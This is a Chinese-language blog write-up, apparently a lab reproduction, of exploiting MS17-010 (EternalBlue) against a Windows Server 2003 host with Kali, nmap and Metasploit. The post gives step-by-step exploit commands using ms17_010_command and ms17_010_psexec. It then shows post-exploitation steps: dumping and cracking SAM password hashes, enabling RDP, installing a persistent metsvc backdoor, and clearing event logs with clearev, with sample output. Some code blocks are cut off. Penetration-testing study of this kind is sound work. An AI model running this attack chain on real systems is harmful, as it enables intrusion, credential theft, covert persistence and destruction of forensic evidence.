不断进步,直到羔羊变成雄狮!
漏洞背景:
继2016年 8 月份黑客组织 Shadow Brokers 放出第一批 NSA “方程式小组”内部黑客工具后,2017 年 4 月 14 日,Shadow Brokers 再次公布了一批新的 NSA 黑客工具,其中包含了一个攻击框架和多个 Windows 漏洞利用工具。攻击者利用这些漏洞可以远程获取 Windows 系统权限并植入后门。
针对此次泄露的漏洞,微软提前发布了安全公告 MS17-010,修复了泄露的多个 SMB 远程命令执行漏洞。由于此次泄露的漏洞覆盖了大部分常见的 Windows 版本(包括微软不再提供更新服务的 Windows XP 和 Windows Server 2003),网络空间中仍然存在大量可被入侵的设备
漏洞原理:
永恒之蓝漏洞是通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
影响版本:
目前已知受影响的Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。
目前在Metasploit上集成的攻击载荷是ms17_010_psexec和ms17_010_eternalblue,我在网上搜了好久,也没找到什么有价值的答案,我自己总结的是两点区别:
一:ms17_010_psexec是SMB的远程代码执行漏洞,ms17_010_eternalblue是SMB的远程窗口内核池损坏漏洞
二:ms17_010_psexec是针对于上述所说的Windows系统都适用的,而ms17_010_eternalblue只适用于win7和win server2008R2的全版本
这次我们使用ms17_010_psexec载荷进行渗透测试
利用前提:
1.防火墙必须允许SMB流量出入
2.目标必须使用SMBv1协议
3.目标必须缺少MS17-010补丁
4.目标必须允许匿名IPC $和管道名
复现环境:
攻击机:kali 4.15.0-kali2-amd64(192.168.135.134)
靶机:Windows server2003(192.168.135.136)
复现过程:
信息收集
使用nmap对目标系统进行信息收集同时去扫描目标存在的漏洞(Nessus或者AWVS等扫描器都可以)
1 | root@kali:~# nmap -sV --script=vuln -O 192.168.135.136 |
参数-sV表示对目标主机进行软件版本的检测
参数–script=vuln表示适用nmap自带的漏洞库区扫描目标系统存在的漏洞
参数-O表示扫描目标的操作系统
由于nmap默认扫描常用的一千个端口,所以我这里为了节省时间就没有加-p选项
扫出来啦鼎鼎有名的ms08-067漏洞和ms17-010漏洞这两个远程代码执行的漏洞
1 | Host script results: |
1 | smb-vuln-ms17-010: |
漏洞利用:
配置数据库
我们使用Metasploit-Framework(简称MSF)去利用ms17-010远程代码执行漏洞
我们首先需要创建一个自己的数据库,将等会使用MSF获取的结果保存到我们自己的数据库中(也可以使用metasploit自带的数据库),MSF默认使用的数据库管理系统是PostgreSQL
打开Postgresql服务:
1 | root@kali:~# service postgresql start |
或者
1 | root@kali:~# /etc/init.d/postgresql start |
查看数据库运行状态:
1 | root@kali:~# service postgresql status |
切换到postgres用户(Postgresql数据库管理系统所创建的用户)
1 | root@kali:~# su - postgres |
创建数据库管理员kkk:
1 | root@kali:~# su - postgres |
创建数据库及其属主,其语法为createdb –owner=属主 数据库名
1 | postgres@kali:~$ createdb --owner=kkk database1 |
然后就可以打开MSF终端利用漏洞啦
1 | root@kali:~# msfconsole |
查看当前所连接的数据库:
1 | msf > db_status |
断开连接,连接我们刚刚创建的数据库,
断开数据库连接命令:db_disconnent
连接新的数据库:格式是db_connect 用户名:密码@127.0.0.1/数据库名
1 | msf > db_disconnect |
确认漏洞
这部分其实就是确认nmap扫描的结果是否准确,MSF提供专门扫描MS17-010的payload(载荷)我们可以在这里尝试一番,熟悉命令
1 | msf > search ms17-010 //在漏洞库中搜索ms17-010的payload |
我们使用auxiliary辅助模块中的ms17_010_command载荷去扫描确认目标系统是否真的有SMB服务的远程代码执行的漏洞
1 | msf > use auxiliary/admin/smb/ms17_010_command //使用该载荷 |
Successful 而且目标为Administrator 权限
攻击目标
1 | msf auxiliary(admin/smb/ms17_010_command) > use exploit/windows/smb/ms17_010_psexec //使用攻击模块 |
对于ms17_010_psexec攻击脚本,不需要设置payload,我原先设置windows/x64/meterpreter/reverse_tcp
载荷一直不出来结果,后来才得知这个攻击脚本里面有meterpreter的载荷,无需设置即可
1 | msf exploit(windows/smb/ms17_010_psexec) > exploit //开始攻击 |
后渗透阶段
先介绍一下Meterpreter:
Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpretershell的链接。Meterpretershell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。最后,Meterpreter还可以简化任务创建多个会话。可以来利用这些会话进行渗透。
在后渗透阶段我们将使用Meterpreter进行攻击
1 | meterpreter > help //输入help命令可以查看在meterpreter模块下执行的命令 |
SAM简介:
SAM是windows系统的一个系统用户账号管理文件。其全称为security account manager。Windows中对用户账户的安全管理使用了安全账号管理器SAM(security account manager)的机制,安全账号管理器对账号的管理是通过安全标识进行的,安全标识在账号创建时就同时创建,一旦账号被删除,安全标识也同时被删除。安全标识是唯一的,即使是相同的用户名,在每次创建时获得的安全标识都时完全不同的。因此,一旦某个账号被删除,它的安全标识就不再存在了,即使用相同的用户名重建账号,也会被赋予不同的安全标识,不会保留原来的权限。
其文件位置:C:\windows\system32\config\SAM
其格式是 用户名称:RID:LM-HASH值:NT-HASH:::
在Windows系统下,有两大hash,分别是LM HASH&NT HASH
对于NT HASH,我们直接可以在cmd5网站进行解密,解密Administrator用户密码为redhat
1 | msf exploit(windows/smb/ms17_010_psexec) >run post/windows/manage/enable_rdp //打开目标服务器的远程连接 |
植入后门,维持控制
1 | msf exploit(windows/smb/ms17_010_psexec) > sessions -i 2 //开启第二个会话 |
或者我们可以使用metsvc模块来留下后门
metsvc后渗透攻击模块其实就是将Meterpreter以系统服务的形式安装到目标主机,它会上传三个文件:
metsvc.dll
metsvc-service.exe
metsvc.exe
1
2msf exploit(multi/handler) > sessions -i 2 //选择一个会话
meterpreter > run metsvc //运行metsvc清除日志:
1
2
3
4meterpreter > clearev
[*] Wiping 1 records from Application...
[*] Wiping 26 records from System...
[*] Wiping 2281 records from Security...